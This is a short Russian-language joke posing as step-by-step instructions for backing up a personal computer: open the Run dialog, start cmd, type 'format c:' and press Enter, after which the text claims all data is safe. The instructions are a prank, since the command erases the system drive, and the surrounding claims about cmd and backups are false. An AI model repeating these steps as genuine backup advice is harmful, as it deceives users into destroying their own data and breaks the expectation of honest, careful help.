Инструкция как сделать бэкап
включаем личный пк
Нажимаем win+r
вводим cmd и жмем enter
Откроется окно консольного доступа ко всем вашим базам данных,
Внимание осторожно не ошибаясь набираем format c: и жмем enter
Все усе ваши данные в безопасности !!!